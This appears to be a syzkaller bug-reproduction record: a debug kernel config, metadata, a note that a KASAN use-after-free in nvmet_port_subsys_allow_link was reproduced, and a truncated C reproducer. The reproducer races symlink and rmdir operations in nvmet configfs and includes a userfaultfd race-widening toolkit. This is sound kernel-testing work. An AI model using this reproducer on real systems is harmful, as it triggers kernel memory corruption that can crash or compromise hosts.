CONFIG_CRYPTO_LIB_SHA256_ARCH=y
CONFIG_CRYPTO_LIB_SHA512=y
CONFIG_CRYPTO_LIB_SHA512_ARCH=y
CONFIG_CRYPTO_LIB_SHA3=y
CONFIG_XOR_BLOCKS=y
CONFIG_XOR_BLOCKS_ARCH=y
CONFIG_RAID6_PQ=y
CONFIG_RAID6_PQ_ARCH=y
# CONFIG_RAID6_PQ_BENCHMARK is not set
CONFIG_XXHASH=y
# CONFIG_RANDOM32_SELFTEST is not set
CONFIG_842_COMPRESS=y
CONFIG_842_DECOMPRESS=y
CONFIG_ZLIB_INFLATE=y
CONFIG_ZLIB_DEFLATE=y
CONFIG_LZO_COMPRESS=y
CONFIG_LZO_DECOMPRESS=y
CONFIG_LZ4_COMPRESS=y
CONFIG_LZ4HC_COMPRESS=y
CONFIG_LZ4_DECOMPRESS=y
CONFIG_ZSTD_COMMON=y
CONFIG_ZSTD_COMPRESS=y
CONFIG_ZSTD_DECOMPRESS=y
CONFIG_XZ_DEC=y
CONFIG_XZ_DEC_X86=y
CONFIG_XZ_DEC_POWERPC=y
CONFIG_XZ_DEC_ARM=y
CONFIG_XZ_DEC_ARMTHUMB=y
CONFIG_XZ_DEC_ARM64=y
CONFIG_XZ_DEC_SPARC=y
CONFIG_XZ_DEC_RISCV=y
# CONFIG_XZ_DEC_MICROLZMA is not set
CONFIG_XZ_DEC_BCJ=y
# CONFIG_XZ_DEC_TEST is not set
CONFIG_DECOMPRESS_GZIP=y
CONFIG_DECOMPRESS_BZIP2=y
CONFIG_DECOMPRESS_LZMA=y
CONFIG_DECOMPRESS_XZ=y
CONFIG_DECOMPRESS_LZO=y
CONFIG_DECOMPRESS_LZ4=y
CONFIG_DECOMPRESS_ZSTD=y
CONFIG_GENERIC_ALLOCATOR=y
CONFIG_REED_SOLOMON=y
CONFIG_REED_SOLOMON_DEC8=y
CONFIG_TEXTSEARCH=y
CONFIG_TEXTSEARCH_KMP=y
CONFIG_TEXTSEARCH_BM=y
CONFIG_TEXTSEARCH_FSM=y
CONFIG_INTERVAL_TREE=y
CONFIG_INTERVAL_TREE_SPAN_ITER=y
CONFIG_XARRAY_MULTI=y
CONFIG_ASSOCIATIVE_ARRAY=y
CONFIG_CLOSURES=y
CONFIG_HAS_IOMEM=y
CONFIG_HAS_IOPORT=y
CONFIG_HAS_IOPORT_MAP=y
CONFIG_HAS_DMA=y
CONFIG_DMA_OPS_HELPERS=y
CONFIG_NEED_SG_DMA_FLAGS=y
CONFIG_NEED_SG_DMA_LENGTH=y
CONFIG_NEED_DMA_MAP_STATE=y
CONFIG_ARCH_DMA_ADDR_T_64BIT=y
CONFIG_DMA_DECLARE_COHERENT=y
CONFIG_SWIOTLB=y
# CONFIG_SWIOTLB_DYNAMIC is not set
CONFIG_DMA_NEED_SYNC=y
# CONFIG_DMA_RESTRICTED_POOL is not set
CONFIG_DMA_CMA=y
# CONFIG_DMA_NUMA_CMA is not set

#
# Default contiguous memory area size:
#
CONFIG_CMA_SIZE_MBYTES=0
CONFIG_CMA_SIZE_PERCENTAGE=0
# CONFIG_CMA_SIZE_SEL_MBYTES is not set
# CONFIG_CMA_SIZE_SEL_PERCENTAGE is not set
# CONFIG_CMA_SIZE_SEL_MIN is not set
CONFIG_CMA_SIZE_SEL_MAX=y
CONFIG_CMA_ALIGNMENT=8
# CONFIG_DMA_API_DEBUG is not set
# CONFIG_DMA_MAP_BENCHMARK is not set
CONFIG_SGL_ALLOC=y
CONFIG_CHECK_SIGNATURE=y
# CONFIG_CPUMASK_OFFSTACK is not set
CONFIG_CPU_RMAP=y
CONFIG_DQL=y
CONFIG_GLOB=y
CONFIG_NLATTR=y
CONFIG_CLZ_TAB=y
CONFIG_IRQ_POLL=y
CONFIG_MPILIB=y
CONFIG_SIGNATURE=y
CONFIG_DIMLIB=y
CONFIG_LIBFDT=y
CONFIG_OID_REGISTRY=y
CONFIG_VDSO_DATASTORE=y
CONFIG_GENERIC_GETTIMEOFDAY=y
CONFIG_GENERIC_VDSO_OVERFLOW_PROTECT=y
CONFIG_VDSO_GETRANDOM=y
CONFIG_FONT_SUPPORT=y
# CONFIG_FONTS is not set
CONFIG_FONT_8x8=y
CONFIG_FONT_8x16=y
CONFIG_SG_POOL=y
CONFIG_ARCH_HAS_PMEM_API=y
CONFIG_MEMREGION=y
CONFIG_ARCH_HAS_CPU_CACHE_INVALIDATE_MEMREGION=y
CONFIG_ARCH_HAS_UACCESS_FLUSHCACHE=y
CONFIG_ARCH_HAS_COPY_MC=y
CONFIG_ARCH_STACKWALK=y
CONFIG_STACKDEPOT=y
CONFIG_STACKDEPOT_ALWAYS_INIT=y
CONFIG_STACKDEPOT_MAX_FRAMES=64
CONFIG_REF_TRACKER=y
CONFIG_SBITMAP=y
# CONFIG_LWQ_TEST is not set
# end of Library routines

CONFIG_FIRMWARE_TABLE=y
CONFIG_UNION_FIND=y

#
# Kernel hacking
#

#
# printk and dmesg options
#
CONFIG_PRINTK_TIME=y
CONFIG_PRINTK_CALLER=y
# CONFIG_STACKTRACE_BUILD_ID is not set
CONFIG_CONSOLE_LOGLEVEL_DEFAULT=7
CONFIG_CONSOLE_LOGLEVEL_QUIET=4
CONFIG_MESSAGE_LOGLEVEL_DEFAULT=4
# CONFIG_BOOT_PRINTK_DELAY is not set
CONFIG_DYNAMIC_DEBUG=y
CONFIG_DYNAMIC_DEBUG_CORE=y
CONFIG_SYMBOLIC_ERRNAME=y
CONFIG_DEBUG_BUGVERBOSE=y
CONFIG_DEBUG_BUGVERBOSE_DETAILED=y
# end of printk and dmesg options

CONFIG_DEBUG_KERNEL=y
CONFIG_DEBUG_MISC=y

#
# Compile-time checks and compiler options
#
CONFIG_DEBUG_INFO=y
CONFIG_AS_HAS_NON_CONST_ULEB128=y
# CONFIG_DEBUG_INFO_NONE is not set
# CONFIG_DEBUG_INFO_DWARF_TOOLCHAIN_DEFAULT is not set
CONFIG_DEBUG_INFO_DWARF4=y
# CONFIG_DEBUG_INFO_DWARF5 is not set
# CONFIG_DEBUG_INFO_REDUCED is not set
CONFIG_DEBUG_INFO_COMPRESSED_NONE=y
# CONFIG_DEBUG_INFO_COMPRESSED_ZLIB is not set
# CONFIG_DEBUG_INFO_COMPRESSED_ZSTD is not set
# CONFIG_DEBUG_INFO_SPLIT is not set
# CONFIG_DEBUG_INFO_BTF is not set
CONFIG_PAHOLE_HAS_LANG_EXCLUDE=y
# CONFIG_GDB_SCRIPTS is not set
CONFIG_FRAME_WARN=2048
# CONFIG_STRIP_ASM_SYMS is not set
# CONFIG_READABLE_ASM is not set
# CONFIG_HEADERS_INSTALL is not set
# CONFIG_DEBUG_SECTION_MISMATCH is not set
CONFIG_SECTION_MISMATCH_WARN_ONLY=y
# CONFIG_DEBUG_FORCE_FUNCTION_ALIGN_64B is not set
CONFIG_OBJTOOL=y
# CONFIG_OBJTOOL_WERROR is not set
CONFIG_NOINSTR_VALIDATION=y
# CONFIG_VMLINUX_MAP is not set
# CONFIG_DEBUG_FORCE_WEAK_PER_CPU is not set
# end of Compile-time checks and compiler options

#
# Generic Kernel Debugging Instruments
#
# CONFIG_MAGIC_SYSRQ is not set
CONFIG_DEBUG_FS=y
CONFIG_DEBUG_FS_ALLOW_ALL=y
# CONFIG_DEBUG_FS_ALLOW_NONE is not set
CONFIG_HAVE_ARCH_KGDB=y
# CONFIG_KGDB is not set
CONFIG_ARCH_HAS_UBSAN=y
CONFIG_UBSAN=y
# CONFIG_UBSAN_TRAP is not set
CONFIG_CC_HAS_UBSAN_BOUNDS_STRICT=y
CONFIG_UBSAN_BOUNDS=y
CONFIG_UBSAN_BOUNDS_STRICT=y
CONFIG_UBSAN_SHIFT=y
# CONFIG_UBSAN_DIV_ZERO is not set
# CONFIG_UBSAN_BOOL is not set
# CONFIG_UBSAN_ENUM is not set
# CONFIG_UBSAN_ALIGNMENT is not set
# CONFIG_TEST_UBSAN is not set
CONFIG_HAVE_ARCH_KCSAN=y
CONFIG_HAVE_KCSAN_COMPILER=y
# end of Generic Kernel Debugging Instruments

#
# Networking Debugging
#
CONFIG_NET_DEV_REFCNT_TRACKER=y
CONFIG_NET_NS_REFCNT_TRACKER=y
CONFIG_DEBUG_NET=y
# CONFIG_DEBUG_NET_SMALL_RTNL is not set
# end of Networking Debugging

#
# Memory Debugging
#
CONFIG_PAGE_EXTENSION=y
# CONFIG_DEBUG_PAGEALLOC is not set
CONFIG_SLUB_DEBUG=y
# CONFIG_SLUB_DEBUG_ON is not set
CONFIG_SLUB_RCU_DEBUG=y
CONFIG_PAGE_OWNER=y
CONFIG_PAGE_TABLE_CHECK=y
CONFIG_PAGE_TABLE_CHECK_ENFORCED=y
CONFIG_PAGE_POISONING=y
# CONFIG_DEBUG_PAGE_REF is not set
# CONFIG_DEBUG_RODATA_TEST is not set
CONFIG_ARCH_HAS_DEBUG_WX=y
CONFIG_DEBUG_WX=y
CONFIG_ARCH_HAS_PTDUMP=y
CONFIG_PTDUMP=y
CONFIG_PTDUMP_DEBUGFS=y
CONFIG_HAVE_DEBUG_KMEMLEAK=y
# CONFIG_DEBUG_KMEMLEAK is not set
# CONFIG_PER_VMA_LOCK_STATS is not set
# CONFIG_MEM_ALLOC_PROFILING is not set
CONFIG_DEBUG_OBJECTS=y
# CONFIG_DEBUG_OBJECTS_SELFTEST is not set
CONFIG_DEBUG_OBJECTS_FREE=y
CONFIG_DEBUG_OBJECTS_TIMERS=y
CONFIG_DEBUG_OBJECTS_WORK=y
CONFIG_DEBUG_OBJECTS_RCU_HEAD=y
CONFIG_DEBUG_OBJECTS_PERCPU_COUNTER=y
CONFIG_DEBUG_OBJECTS_ENABLE_DEFAULT=1
# CONFIG_SHRINKER_DEBUG is not set
CONFIG_DEBUG_STACK_USAGE=y
CONFIG_SCHED_STACK_END_CHECK=y
CONFIG_ARCH_HAS_DEBUG_VM_PGTABLE=y
CONFIG_DEBUG_VFS=y
CONFIG_DEBUG_VM_IRQSOFF=y
CONFIG_DEBUG_VM=y
CONFIG_DEBUG_VM_MAPLE_TREE=y
CONFIG_DEBUG_VM_RB=y
CONFIG_DEBUG_VM_PGFLAGS=y
CONFIG_DEBUG_VM_PGTABLE=y
CONFIG_ARCH_HAS_DEBUG_VIRTUAL=y
CONFIG_DEBUG_VIRTUAL=y
CONFIG_DEBUG_MEMORY_INIT=y
CONFIG_DEBUG_PER_CPU_MAPS=y
CONFIG_DEBUG_KMAP_LOCAL=y
CONFIG_ARCH_SUPPORTS_KMAP_LOCAL_FORCE_MAP=y
CONFIG_DEBUG_KMAP_LOCAL_FORCE_MAP=y
CONFIG_HAVE_ARCH_KASAN=y
CONFIG_HAVE_ARCH_KASAN_VMALLOC=y
CONFIG_CC_HAS_KASAN_GENERIC=y
CONFIG_CC_HAS_KASAN_SW_TAGS=y
CONFIG_CC_HAS_WORKING_NOSANITIZE_ADDRESS=y
CONFIG_KASAN=y
CONFIG_CC_HAS_KASAN_MEMINTRINSIC_PREFIX=y
CONFIG_KASAN_GENERIC=y
# CONFIG_KASAN_OUTLINE is not set
CONFIG_KASAN_INLINE=y
CONFIG_KASAN_STACK=y
CONFIG_KASAN_VMALLOC=y
# CONFIG_KASAN_EXTRA_INFO is not set
CONFIG_HAVE_ARCH_KFENCE=y
CONFIG_KFENCE=y
CONFIG_KFENCE_SAMPLE_INTERVAL=100
CONFIG_KFENCE_NUM_OBJECTS=255
# CONFIG_KFENCE_DEFERRABLE is not set
CONFIG_KFENCE_STATIC_KEYS=y
CONFIG_KFENCE_STRESS_TEST_FAULTS=0
CONFIG_HAVE_ARCH_KMSAN=y
# end of Memory Debugging

# CONFIG_DEBUG_SHIRQ is not set

#
# Debug Oops, Lockups and Hangs
#
CONFIG_PANIC_ON_OOPS=y
CONFIG_PANIC_TIMEOUT=86400
CONFIG_LOCKUP_DETECTOR=y
CONFIG_SOFTLOCKUP_DETECTOR=y
# CONFIG_SOFTLOCKUP_DETECTOR_INTR_STORM is not set
CONFIG_BOOTPARAM_SOFTLOCKUP_PANIC=1
CONFIG_HAVE_HARDLOCKUP_DETECTOR_BUDDY=y
CONFIG_HARDLOCKUP_DETECTOR=y
# CONFIG_HARDLOCKUP_DETECTOR_PREFER_BUDDY is not set
CONFIG_HARDLOCKUP_DETECTOR_PERF=y
# CONFIG_HARDLOCKUP_DETECTOR_BUDDY is not set
# CONFIG_HARDLOCKUP_DETECTOR_ARCH is not set
CONFIG_HARDLOCKUP_DETECTOR_COUNTS_HRTIMER=y
CONFIG_HARDLOCKUP_CHECK_TIMESTAMP=y
CONFIG_BOOTPARAM_HARDLOCKUP_PANIC=y
CONFIG_DETECT_HUNG_TASK=y
CONFIG_DEFAULT_HUNG_TASK_TIMEOUT=140
CONFIG_BOOTPARAM_HUNG_TASK_PANIC=1
# CONFIG_DETECT_HUNG_TASK_BLOCKER is not set
CONFIG_WQ_WATCHDOG=y
CONFIG_BOOTPARAM_WQ_STALL_PANIC=0
# CONFIG_WQ_CPU_INTENSIVE_REPORT is not set
# CONFIG_TEST_LOCKUP is not set
# end of Debug Oops, Lockups and Hangs

#
# Scheduler Debugging
#
CONFIG_SCHED_INFO=y
CONFIG_SCHEDSTATS=y
# end of Scheduler Debugging

CONFIG_DEBUG_PREEMPT=y
# CONFIG_DEBUG_ATOMIC is not set

#
# Lock Debugging (spinlocks, mutexes, etc...)
#
CONFIG_LOCK_DEBUGGING_SUPPORT=y
CONFIG_PROVE_LOCKING=y
CONFIG_PROVE_RAW_LOCK_NESTING=y
# CONFIG_LOCK_STAT is not set
CONFIG_DEBUG_RT_MUTEXES=y
CONFIG_DEBUG_SPINLOCK=y
CONFIG_DEBUG_MUTEXES=y
CONFIG_DEBUG_WW_MUTEX_SLOWPATH=y
CONFIG_DEBUG_RWSEMS=y
CONFIG_DEBUG_LOCK_ALLOC=y
CONFIG_LOCKDEP=y
CONFIG_LOCKDEP_BITS=20
CONFIG_LOCKDEP_CHAINS_BITS=20
CONFIG_LOCKDEP_STACK_TRACE_BITS=20
CONFIG_LOCKDEP_STACK_TRACE_HASH_BITS=14
CONFIG_LOCKDEP_CIRCULAR_QUEUE_BITS=12
# CONFIG_DEBUG_LOCKDEP is not set
CONFIG_DEBUG_ATOMIC_SLEEP=y
# CONFIG_DEBUG_LOCKING_API_SELFTESTS is not set
# CONFIG_LOCK_TORTURE_TEST is not set
# CONFIG_WW_MUTEX_SELFTEST is not set
# CONFIG_SCF_TORTURE_TEST is not set
CONFIG_CSD_LOCK_WAIT_DEBUG=y
# CONFIG_CSD_LOCK_WAIT_DEBUG_DEFAULT is not set
# end of Lock Debugging (spinlocks, mutexes, etc...)

CONFIG_TRACE_IRQFLAGS=y
CONFIG_TRACE_IRQFLAGS_NMI=y
CONFIG_NMI_CHECK_CPU=y
CONFIG_DEBUG_IRQFLAGS=y
CONFIG_STACKTRACE=y
# CONFIG_DEBUG_KOBJECT is not set
# CONFIG_DEBUG_KOBJECT_RELEASE is not set

#
# Debug kernel data structures
#
CONFIG_DEBUG_LIST=y
CONFIG_DEBUG_PLIST=y
CONFIG_DEBUG_SG=y
CONFIG_DEBUG_NOTIFIERS=y
# CONFIG_DEBUG_CLOSURES is not set
CONFIG_DEBUG_MAPLE_TREE=y
# end of Debug kernel data structures

#
# RCU Debugging
#
CONFIG_PROVE_RCU=y
# CONFIG_RCU_SCALE_TEST is not set
# CONFIG_RCU_TORTURE_TEST is not set
# CONFIG_RCU_REF_SCALE_TEST is not set
CONFIG_RCU_CPU_STALL_TIMEOUT=100
CONFIG_RCU_EXP_CPU_STALL_TIMEOUT=0
# CONFIG_RCU_CPU_STALL_CPUTIME is not set
# CONFIG_RCU_TRACE is not set
CONFIG_RCU_EQS_DEBUG=y
# end of RCU Debugging

# CONFIG_DEBUG_WQ_FORCE_RR_CPU is not set
# CONFIG_CPU_HOTPLUG_STATE_CONTROL is not set
# CONFIG_LATENCYTOP is not set
CONFIG_USER_STACKTRACE_SUPPORT=y
CONFIG_NOP_TRACER=y
CONFIG_HAVE_RETHOOK=y
CONFIG_HAVE_FUNCTION_TRACER=y
CONFIG_HAVE_DYNAMIC_FTRACE=y
CONFIG_HAVE_DYNAMIC_FTRACE_WITH_REGS=y
CONFIG_HAVE_DYNAMIC_FTRACE_WITH_DIRECT_CALLS=y
CONFIG_HAVE_DYNAMIC_FTRACE_WITH_ARGS=y
CONFIG_HAVE_FTRACE_REGS_HAVING_PT_REGS=y
CONFIG_HAVE_DYNAMIC_FTRACE_NO_PATCHABLE=y
CONFIG_HAVE_DYNAMIC_FTRACE_WITH_JMP=y
CONFIG_HAVE_SYSCALL_TRACEPOINTS=y
CONFIG_HAVE_FENTRY=y
CONFIG_HAVE_OBJTOOL_MCOUNT=y
CONFIG_HAVE_OBJTOOL_NOP_MCOUNT=y
CONFIG_HAVE_C_RECORDMCOUNT=y
CONFIG_HAVE_BUILDTIME_MCOUNT_SORT=y
CONFIG_TRACE_CLOCK=y
CONFIG_RING_BUFFER=y
CONFIG_EVENT_TRACING=y
CONFIG_CONTEXT_SWITCH_TRACER=y
CONFIG_PREEMPTIRQ_TRACEPOINTS=y
CONFIG_TRACING=y
CONFIG_GENERIC_TRACER=y
CONFIG_TRACING_SUPPORT=y
CONFIG_FTRACE=y
CONFIG_TRACEFS_AUTOMOUNT_DEPRECATED=y
# CONFIG_BOOTTIME_TRACING is not set
# CONFIG_FUNCTION_TRACER is not set
# CONFIG_STACK_TRACER is not set
# CONFIG_IRQSOFF_TRACER is not set
# CONFIG_PREEMPT_TRACER is not set
# CONFIG_SCHED_TRACER is not set
# CONFIG_HWLAT_TRACER is not set
# CONFIG_OSNOISE_TRACER is not set
# CONFIG_TIMERLAT_TRACER is not set
# CONFIG_MMIOTRACE is not set
# CONFIG_FTRACE_SYSCALLS is not set
# CONFIG_TRACER_SNAPSHOT is not set
CONFIG_BRANCH_PROFILE_NONE=y
# CONFIG_PROFILE_ANNOTATED_BRANCHES is not set
CONFIG_BLK_DEV_IO_TRACE=y
# CONFIG_PROBE_EVENTS_DUMP_FETCHARG is not set
CONFIG_UPROBE_EVENTS=y
CONFIG_EPROBE_EVENTS=y
CONFIG_BPF_EVENTS=y
CONFIG_DYNAMIC_EVENTS=y
CONFIG_PROBE_EVENTS=y
# CONFIG_SYNTH_EVENTS is not set
# CONFIG_USER_EVENTS is not set
# CONFIG_HIST_TRIGGERS is not set
CONFIG_TRACE_EVENT_INJECT=y
# CONFIG_TRACEPOINT_BENCHMARK is not set
# CONFIG_RING_BUFFER_BENCHMARK is not set
# CONFIG_TRACE_EVAL_MAP_FILE is not set
# CONFIG_FTRACE_STARTUP_TEST is not set
# CONFIG_RING_BUFFER_STARTUP_TEST is not set
CONFIG_RING_BUFFER_VALIDATE_TIME_DELTAS=y
# CONFIG_RING_BUFFER_PERSISTENT_INJECT is not set
# CONFIG_PREEMPTIRQ_DELAY_TEST is not set
# CONFIG_RV is not set
# CONFIG_TRACE_REMOTE_TEST is not set
CONFIG_PROVIDE_OHCI1394_DMA_INIT=y
# CONFIG_SAMPLES is not set
CONFIG_HAVE_SAMPLE_FTRACE_DIRECT=y
CONFIG_HAVE_SAMPLE_FTRACE_DIRECT_MULTI=y
CONFIG_ARCH_HAS_DEVMEM_IS_ALLOWED=y
# CONFIG_STRICT_DEVMEM is not set

#
# x86 Debugging
#
CONFIG_EARLY_PRINTK_USB=y
CONFIG_X86_VERBOSE_BOOTUP=y
CONFIG_EARLY_PRINTK=y
CONFIG_EARLY_PRINTK_DBGP=y
# CONFIG_EARLY_PRINTK_USB_XDBC is not set
# CONFIG_DEBUG_TLBFLUSH is not set
CONFIG_HAVE_MMIOTRACE_SUPPORT=y
# CONFIG_X86_DECODER_SELFTEST is not set
CONFIG_IO_DELAY_0X80=y
# CONFIG_IO_DELAY_0XED is not set
# CONFIG_IO_DELAY_UDELAY is not set
# CONFIG_IO_DELAY_NONE is not set
CONFIG_DEBUG_BOOT_PARAMS=y
# CONFIG_CPA_DEBUG is not set
CONFIG_DEBUG_ENTRY=y
# CONFIG_DEBUG_NMI_SELFTEST is not set
CONFIG_X86_DEBUG_FPU=y
# CONFIG_PUNIT_ATOM_DEBUG is not set
CONFIG_UNWINDER_ORC=y
# CONFIG_UNWINDER_FRAME_POINTER is not set
# end of x86 Debugging

#
# Kernel Testing and Coverage
#
# CONFIG_KUNIT is not set
# CONFIG_NOTIFIER_ERROR_INJECTION is not set
CONFIG_FAULT_INJECTION=y
CONFIG_FAILSLAB=y
CONFIG_FAIL_PAGE_ALLOC=y
CONFIG_FAULT_INJECTION_USERCOPY=y
CONFIG_FAIL_MAKE_REQUEST=y
CONFIG_FAIL_IO_TIMEOUT=y
CONFIG_FAIL_FUTEX=y
CONFIG_FAULT_INJECTION_DEBUG_FS=y
# CONFIG_FAIL_MMC_REQUEST is not set
# CONFIG_FAIL_SKB_REALLOC is not set
CONFIG_FAULT_INJECTION_CONFIGFS=y
# CONFIG_FAULT_INJECTION_STACKTRACE_FILTER is not set
CONFIG_ARCH_HAS_KCOV=y
CONFIG_KCOV=y
CONFIG_KCOV_ENABLE_COMPARISONS=y
CONFIG_KCOV_INSTRUMENT_ALL=y
CONFIG_KCOV_IRQ_AREA_SIZE=0x40000
# CONFIG_KCOV_SELFTEST is not set
CONFIG_RUNTIME_TESTING_MENU=y
# CONFIG_TEST_DHRY is not set
# CONFIG_LKDTM is not set
# CONFIG_TEST_DIV64 is not set
# CONFIG_TEST_MULDIV64 is not set
# CONFIG_BACKTRACE_SELF_TEST is not set
# CONFIG_TEST_REF_TRACKER is not set
# CONFIG_RBTREE_TEST is not set
# CONFIG_REED_SOLOMON_TEST is not set
# CONFIG_INTERVAL_TREE_TEST is not set
# CONFIG_PERCPU_TEST is not set
# CONFIG_ATOMIC64_SELFTEST is not set
# CONFIG_ASYNC_RAID6_TEST is not set
# CONFIG_TEST_HEXDUMP is not set
# CONFIG_TEST_KSTRTOX is not set
# CONFIG_TEST_BITMAP is not set
# CONFIG_TEST_XARRAY is not set
# CONFIG_TEST_MAPLE_TREE is not set
# CONFIG_TEST_RHASHTABLE is not set
# CONFIG_TEST_IDA is not set
# CONFIG_TEST_LKM is not set
# CONFIG_TEST_BITOPS is not set
# CONFIG_TEST_VMALLOC is not set
# CONFIG_TEST_WORKQUEUE is not set
# CONFIG_TEST_BPF is not set
# CONFIG_FIND_BIT_BENCHMARK is not set
# CONFIG_REGION_ALLOC_BENCHMARK is not set
# CONFIG_TEST_FIRMWARE is not set
# CONFIG_TEST_SYSCTL is not set
# CONFIG_CONTEXT_ANALYSIS_TEST is not set
# CONFIG_TEST_UDELAY is not set
# CONFIG_TEST_STATIC_KEYS is not set
# CONFIG_TEST_DYNAMIC_DEBUG is not set
# CONFIG_TEST_KMOD is not set
# CONFIG_TEST_KALLSYMS is not set
# CONFIG_TEST_DEBUG_VIRTUAL is not set
# CONFIG_TEST_MEMCAT_P is not set
# CONFIG_TEST_MEMINIT is not set
# CONFIG_TEST_HMM is not set
# CONFIG_TEST_FREE_PAGES is not set
# CONFIG_TEST_CLOCKSOURCE_WATCHDOG is not set
# CONFIG_TEST_OBJPOOL is not set
CONFIG_ARCH_USE_MEMTEST=y
# CONFIG_MEMTEST is not set
# end of Kernel Testing and Coverage

#
# Rust hacking
#
# end of Rust hacking
# end of Kernel hacking

CONFIG_IO_URING_ZCRX=y
CONFIG_IO_URING_BPF=y
KernelConfigManager ci-qemu-upstream
KernelRepo git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git
ReproCID 0
ReproOpts
ReproSyzID 0
SyzkallerCommit 1e72964b0111319984575e60f266d1fa0a98abb5
TargetArch amd64
TargetOS linux

Outputs:
Reproduced ✅
EquivalenceAnalysis
The reproducer successfully triggered the expected KASAN slab-use-after-free in nvmet_port_subsys_allow_link. The crash signature and stack trace match the original bug description exactly.
OtherCrashReports
ReproC
// Copyright 2026 syzkaller project authors. All rights reserved.
// Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file.

// IMPORTANT: Do not copy the macros or definitions below directly into your reproducer.
// Instead, add the following line to your reproducer:
// #include "race_toolkit.h"

// --- Race Condition Toolkit ---
// Macros and snippets for CPU pinning, memory barriers, and userfaultfd.

#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <time.h>
#include <unistd.h>

// Unbuffered I/O: Ensure logs are written immediately.
#define SETUP_UNBUFFERED_IO() setvbuf(stdout, NULL, _IONBF, 0)

// CPU Pinning: Pin the current thread to a specific CPU core.
#define PIN_TO_CPU(cpu)                                                \
	do {                                                           \
		cpu_set_t mask;                                        \
		CPU_ZERO(&mask);                                       \
		CPU_SET(cpu, &mask);                                   \
		if (sched_setaffinity(0, sizeof(mask), &mask) == -1) { \
			perror("sched_setaffinity");                   \
		}                                                      \
	} while (0)

// Memory Barrier: Ensure memory ordering.
#define MB() __atomic_thread_fence(__ATOMIC_SEQ_CST)

// Spin-wait Barrier: Wait until a memory location has a specific value.
// Best for tight race windows (low latency, no context switches).
#define WAIT_ON(addr, val)                                               \
	do {                                                             \
		while (__atomic_load_n(addr, __ATOMIC_ACQUIRE) != (val)) \
			;                                                \
	} while (0)

// Signal: Set a memory location to a specific value to release a WAIT_ON.
#define SIGNAL(addr, val) __atomic_store_n(addr, val, __ATOMIC_RELEASE)

// --- Timing Primitives ---
// Robust timing loops in VM environments (using CLOCK_MONOTONIC to avoid time(NULL) jumps).

static inline double timer_elapsed_sec(struct timespec* start)
{
	struct timespec now;
	if (clock_gettime(CLOCK_MONOTONIC, &now) == -1) {
		perror("clock_gettime(CLOCK_MONOTONIC) elapsed");
		exit(1);
	}
	return (double)(now.tv_sec - start->tv_sec) + (double)(now.tv_nsec - start->tv_nsec) / 1e9;
}

// Initialize a monotonic timer variable.
#define TIMER_START(t)                                          \
	struct timespec t;                                      \
	if (clock_gettime(CLOCK_MONOTONIC, &t) == -1) {         \
		perror("clock_gettime(CLOCK_MONOTONIC) start"); \
		exit(1);                                        \
	}

// Check if the elapsed time since 't' is less than 'sec' seconds.
#define TIMER_NOT_EXPIRED(t, sec) (timer_elapsed_sec(&(t)) < (double)(sec))

// Futex-based Event: Shared with syzkaller executor.
// Best for general synchronization or longer waits to save CPU.
typedef struct {
	int state;
} event_t;

static void event_init(event_t* ev)
{
	ev->state = 0;
}
static void event_reset(event_t* ev)
{
	ev->state = 0;
}

static void event_set(event_t* ev)
{
	if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) {
		fprintf(stderr, "event already set\n");
		exit(1);
	}
	__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
	syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}

static void event_wait(event_t* ev)
{
	while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
		syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}

// userfaultfd setup: Register a memory range for page fault handling.
static int setup_uffd(void* addr, size_t len)
{
	int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
	if (uffd == -1)
		return -1;
	struct uffdio_api api = {.api = UFFD_API, .features = 0};
	if (ioctl(uffd, UFFDIO_API, &api) == -1) {
		close(uffd);
		return -1;
	}
	struct uffdio_register reg = {
	    .range = {.start = (uintptr_t)addr, .len = len},
	    .mode = UFFDIO_REGISTER_MODE_MISSING};
	if (ioctl(uffd, UFFDIO_REGISTER, &reg) == -1) {
		close(uffd);
		return -1;
	}
	return uffd;
}

// --- Guidance on Usage ---
// 1. Use WAIT_ON/SIGNAL for tight race conditions to avoid scheduling overhead.
// 2. Use event_t (futexes) for general coordination or when waiting for longer periods.
// 3. Always use PIN_TO_CPU to increase race probability on multi-core systems.
// 4. Use setup_uffd to register a memory range for page fault handling. This allows you to
//    pause a thread accessing that memory until you handle the fault, creating a reliable
//    and controllable race window.
// 5. Call SETUP_UNBUFFERED_IO() at the start of main() to ensure that logs are printed
//    immediately. This is essential for understanding the exact interleaving of events
//    when debugging race conditions.
// 6. For timing-based loops (e.g., running a race for 10 seconds), do NOT use time(NULL)
//    or loops relying on real-time clocks, as VM clocks are highly unreliable and can fail or drift.
//    Instead, use the robust monotonic timing primitives TIMER_START and TIMER_NOT_EXPIRED:
//        TIMER_START(start);
//        while (TIMER_NOT_EXPIRED(start, 10.0)) {
//            // Your race logic here
//        }

#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/mount.h>
#include <time.h>
#include <errno.h>
#include <string.h>

volatile int stop = 0;

void *symlink_thread(void *arg)
{
    while (!__atomic_load_n(&stop, __ATOMIC_ACQUIRE)) {
        if (syscall(SYS_symlinkat, "/sys/kernel/config/nvmet/subsystems/subsys1", AT_FDCWD, 
                    "/sys/kernel/config/nvmet/ports/1/subsystems/subsys1") == 0) {
            unlink("/sys/kernel/config/nvmet/ports/1/subsystems/subsys1");
        }
    }
    return NULL;
}

void *rmdir_thread(void *arg)
{
    while (!__atomic_load_n(&stop, __ATOMIC_ACQUIRE)) {
        mkdir("/sys/kernel/config/nvmet/ports/1", 0777);
        rmdir("/sys/kernel/config/nvmet/ports/1");
    }
    return NULL;
}

int main()
{
    SETUP_UNBUFFERED_IO();
    
    struct stat st;
    if (stat("/sys/kernel/config", &st) < 0) {
        if (mkdir("/sys/kernel/config", 0777) < 0 && errno != EEXIST) {
